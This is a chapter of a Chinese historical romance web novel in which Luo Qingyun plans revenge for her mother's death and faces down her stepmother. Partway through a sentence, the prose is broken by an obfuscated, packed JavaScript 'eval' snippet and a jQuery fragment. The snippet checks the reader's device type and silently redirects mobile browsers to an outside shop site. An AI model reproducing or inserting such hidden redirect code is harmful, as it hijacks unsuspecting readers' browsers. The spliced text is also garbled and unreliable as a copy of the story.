高煦起身，多点了几盏烛台，请洛青云移步到茶台后。他摊开一张京城市坊简图，亲自掌灯，为洛青云指出了当年秦夫人留下的积业。
“每条街坊都会有一家，或大或小，分别交由不同的心腹打理。夫人说过，哪怕一墙之隔，经营之道也会千差万别。”高煦介绍道，“我们当年处置了商铺，又由着暗场子做大做强了几年，就又收了一些产业……”
他重新描摹出如今相关联的版图，结结实实地让洛青云惊呆在原地——出了皇城，这些店铺几乎囊括半座京城。
洛青云沉默许久，才艰难开口：“我母亲若是知道你们如此欣欣向荣，想必也会十分为你们高兴的。”
高煦听出不对，当即对着她跪下：“青云小姐这是在试探么？”
洛青云懵了：“试探什么？”
高煦泣泪陈词：“秦夫人虽然离世多年，但我们这些人没有一个敢忘本。这些积业都是秦夫人留给小姐的，我等只以您马首是瞻，绝无二心。”
洛青云眼圈一红，跌坐在椅子上，也忘了扶他。她一想到母亲生前拖着病体还殚精竭虑地为自己筹谋，便觉得胸腔涌上无尽酸楚。
母亲当年定是对洛府彻底寒了心，才会做好这样的布局。她为洛青云做好了万全打算，若是洛仲原会尽到父亲的责任也就罢了，若是没有，这半城积业也能保住洛青云后半生无虞。
洛青云伸出手来，紧紧攥着高煦，眼中迸出雪亮坚毅的光芒。
洛青云：“高煦，你们替我母亲延续家业，我原该五体投地相谢。但我还有一夙愿未了，只求你们帮我，事成之后，青云一并感恩怀德，郑重谢过。”
高煦擦了擦泪：“大小姐请讲。”
洛青云：“我要报仇。”
见高煦愕然望着她，洛青云继续道：“实不相瞒，当年之事我已有些听闻，母亲之死，必有冤情，且与洛仲原和裴琬凝脱不了干系，此为旧恨。而我在洛府长了十七年，虽然谨慎小心，仍然饱受磋磨，几次差点活不下去，前阵子稍稍变通些，日子才略微好过，此为新仇。”
洛青云的声音清冷中带着恨意：“新仇旧恨合在一起，还不算洛家那些腌臜事——我一定要讨回公道来。”
高煦被她感染，不迭磕头如捣蒜，口中不住应着声，说明日就让当年的忠仆旧人速速回京助力。
洛青云：“旁的人慢慢回来便好，只是百济堂的老板需得早早召回来问话。”
高煦：“这是为何？”
洛青云：“京城统共只有百济堂、神草堂两间大药铺，洛府这些年的药剂都是从神草堂进来的，我如今确信母亲去世有隐情，那当年她孕期不适，也难保不是人为。我想让百济堂的老板回来相助，看看当年我出世前，母亲是否已经遭人陷害。”
高煦面露难色：“让他回来是易事，只是当年之事太久远，查起来恐怕困难。”
洛青云低下头，默默沉思一会儿，重新抬起眸望着窗外，神色倔强：“再难，我也要做。”
-
莫祺肃立在屏风外侧，即使热气腾腾的水雾从里面溢出来，他也觉得周身一股寒意。不为别的，只因里面浴桶里的男人吩咐他不要离开，自己还有话要问。
方才盛昭朔从马车上下来时，黑压压的面色几乎让他不敢直视。莫祺悄悄抬眼，透着屏风望进一具青白玉雕般的身躯没入热水，又暗暗低下头去。
自家小王爷今晚的确受罪，他本以为，盛昭朔不会再有精神来问话的。
但里间的男人只是略缓了缓，身上的血液才稍恢复流速，便冷声唤他：“莫祺。”
莫祺连忙应声：“属下在。”
盛昭朔：“今夜你是何时得到消息的？传信的人是谁？”
莫祺想了想：“戌时过半，一个自称是九门卫的兄弟来通传的。”
盛昭朔沉思不答。他大约是酉时初刻命暗卫出动，如今看来，消息过了一个多时辰才到大理寺，期间还经过九门卫转达。九门卫，实在可疑。
好在他与九门卫之间还有渊源。明日去问陈平就是。
盛昭朔缓了缓辞色，对屏风外的身影交代：“今夜有人阻塞消息，要么九门卫，要么大理寺，必有内鬼。此事你先不要对其他人说，心中提防就好。回去歇息吧。”
莫祺站着没动，声音中有些担忧：“小王爷，我还是去请太医来瞧一瞧吧。”
他没忘了临榆岛那回，盛昭朔仅仅是在船头被浪扑倒，就面如青灰，甚至卧床将养了好几日的情形。今夜盛小王爷沿着宝吉河漂流到了城郊，能撑到现在，实属奇迹。
里间的男人凉声道：“不必。”
莫祺辩道：“可是小王爷，现已入秋，河水寒气重，若是不谨慎些——”
盛昭朔眼中一凛，隔着屏风送去一记锋利的眼神：“啰嗦。”
莫祺只得妥协，自言自语：“洛娘子一介弱女子，竟还有这个能耐……也不知道怎么就‘治病救人了’？”
浸在热水里的男人沉吟片刻，竟冷不防轻笑了一声：“错了，她可不是弱女子。”
莫祺惊奇地瞪大了眼，大气都不敢出。盛昭朔一整晚都对洛青云还算客气，已经是破天荒了。直到方才他拂袖而去，将人家姑娘撂在斑羚渡口不管，莫祺才觉得自家小王爷终于恢复正常，或者说，他的忍耐也濒临了极限。
可刚刚那声轻笑和调侃又算什么？
盛昭朔似乎也想起了什么，正色冷冷道：“今夜的事，不要对旁人讲。”
男人冰块一样的脸颊上已经消去了浮肿，但仍觉得有些火辣辣的抽痛。或许正是这个缘故，他才能清醒得那样快。
何况在那时的情形下，孤男寡女独处郊外不说，他又是官家人，哪怕强撑着最后一口气，也要带无辜民女回去。这才骤然激起他的神志，而并没有如上回那样休养了好几日才能下床。
莫祺扬了扬眉：“是。小王爷刚刚已经吩咐过一回了，莫祺定会谨记。”
盛昭朔的音调里多了几分燥郁：“我说的不是案子，是洛青云。机缘巧合的麻烦，不要到处乱讲。”
莫祺连忙唯唯诺诺地点头：“是，是。属下先告退了。”
一出门，莫祺的嘴角就难以自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074627|147358||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抑地扬起，久久压不下来。
依他看来，这些年对盛小王爷有意的世家女子不少，大多都是浅尝辄止，就被盛昭朔硬生生挡了回去。洛娘子竟是走得最远最深的一个。
可细细回想下来，她似乎什么花哨手段都没用，反倒是百转千回的痴心纠缠，最是卓有成效。
莫祺忽然便觉得，自己为那两身贵价衣裳垫付的银子，是挺值得的。若是胆子大些，借着盛昭朔极力想还清人情的心思，多报一点，想必小王爷也会丝毫都不犹豫地让账房拨付。
-
洛青云回到洛府时，夜色已深。府内上下静悄悄的，连香桃都在屋里打起了瞌睡。
她明明劳累了整晚，此刻却半分倦意都没有，双目在浓稠黑暗中炯炯亮着，仿佛有人在里面点了一把火。
谨小慎微苟活了十几年，又蛰伏忍耐了这些天，一切终于有了眉目。洛青云攥着那枚旧璎珞，紧紧捂在温热的胸口，心中默默念着母亲，有千言万语想对她讲。
没来由地，她忽然想到盛昭朔恭祝她芳诞时，她曾说的“自今日起，只当在活我的后半生”，不料一语成谶。
或许她今晚是睡不着了，但那也无妨。洛青云轻轻推开自己的房门。
刹那间，碧岚轩正堂里灯火通明。裴琬凝坐在侧榻上，冰冷淬毒的眼神盯在她身上。
洛青云被惊了一瞬，伫立原地，眉心蹙起，但却迎着裴氏的目光，一丝一毫也没躲避。
裴琬凝幽幽开口：“什么时辰了？”
洛青云扭头望了望月亮，约莫已是子时，她平静回话：“应该已经过子时——”
裴琬凝倏地抬眼，冷笑截断她的话：“问你了么？插什么嘴？”
说罢，裴氏又瞟了眼墩实可怖的胡妈妈，胡妈妈立即会意：“子时初刻，已经宵禁了。”
洛青云听出了胡妈妈不怀好意的补充，她并不作声，只等裴琬凝继续。
裴琬凝阴阴地勾起唇：“宵禁还在外游荡，被九门卫逮着，三箭就能丧命街头，你虽然命大，但洛府向来家风森严，就算不把你送到官府问罪，也必得以家法伺候。”
洛青云仍不出声，更不为自己辩驳，她神色坦然，甚至有些看屋内其他人表演的心情。
这时香桃也慌慌地跑进门，跪下替她求情：“夫人，大小姐只是出去散散心，今日毕竟是大小姐生辰，还请夫人看在这个情面上——”
胡妈妈提高了嗓门，煽风点火：“过个生辰就能出去浪到半夜，洛家的女儿也是我帮着一手调教的，从没这么失体统！”
话音刚落，只听清脆一声“啪”，胡妈妈张着嘴呆在原地，老态龙钟的脸上多了一个鲜红的巴掌印。
安坐榻上的裴琬凝蹭地起身，难以置信地望向胡妈妈脸上愈发清晰的修长指印，唇角扭曲了半天，说不出话来。
跟来的丫鬟小厮更是齐齐震立，有的瞥裴琬凝惊怒的反应，有的瞧洛青云风轻云淡的脸色。
洛青云转了转手腕，又揉着白嫩的手掌，面若冰霜，眸色平静。
她今晚倒是和呼人巴掌这件事杠上了。